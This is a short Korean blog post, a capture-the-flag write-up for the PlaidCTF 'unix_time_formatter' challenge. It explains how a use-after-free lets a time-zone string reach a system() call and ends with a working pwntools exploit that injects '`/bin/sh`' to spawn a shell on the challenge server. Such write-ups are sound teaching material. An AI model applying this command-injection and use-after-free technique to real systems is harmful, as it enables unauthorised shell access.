튜기's blogggg

PCTF unix_time_formatter writeup

by St1tch


문제는 3개의 입력을 받는 함수와, 출력을 해주는 함수, 그리고 끝내는 함수 이렇게 5개로 이루어져있다.


time_format과 time과 time_zone을 입력하고 print를 하면, system("/bin/date -d @%d +'%s'", (unsigned int)time_addr, time_format) 이 실행이 되고,

'TZ'라는 환경변수에는 time_zone에 입력한 문자열이 들어간다.


여기서 나는 처음에 time_zone에 '/bin/sh'를 넣고, time_format에 `$TZ`이런식으로 환경변수를 넣어 쉘을 실행시키려고 했다.

하지만 time_format을 입력할 때 필터링이 걸려있어서 넣을수가 없었다.


그런데 코드 중간중간데 getenv("DEBUG")가 있으면 자꾸 주소를 출력해주는 것과(주소 확인하면서 해라는건가 이런느낌)

exit함수를 보면 N을 입력하기 전에 heap메모리를 free해주는 걸 보고 

주소를 반환해주는 strdup함수를 구글에 찾아보니 malloc을 통해 메모리를 만들어 낸다.

따라서 use after free를 이용하면 되겠다고 생각했다.




export DEBUG='1' 해놓고 실행시켜서 출력되는 주소를 보니 같은주소를 가리키고 있었다.

원래 time_zone은 출력이 되지않고, 환경변수로 저장이 되지만 time_format과 같은 곳을 가리키고 있기때문에 출력이 된다.

따라서 이 방법을 이용해서 간단하게 공격이 가능하다.




from pwn import *

s = remote('unix.pwning.xxx', 9999)

#set time_format
s.recvuntil('> ')
s.sendline('1')
s.recvuntil(': ')
s.sendline('tmp')
#exit (uaf)
s.recvuntil('> ')
s.sendline('5')
s.recvuntil('? ')
s.sendline('n')
#set time_zone(cmd)
s.recvuntil('> ')
s.sendline('3')
s.recvuntil(': ')
s.sendline('\'`/bin/sh`\'')
#exploit
s.recvuntil('> ')
s.sendline('4')

s.interactive()



ㅇㅇ



블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기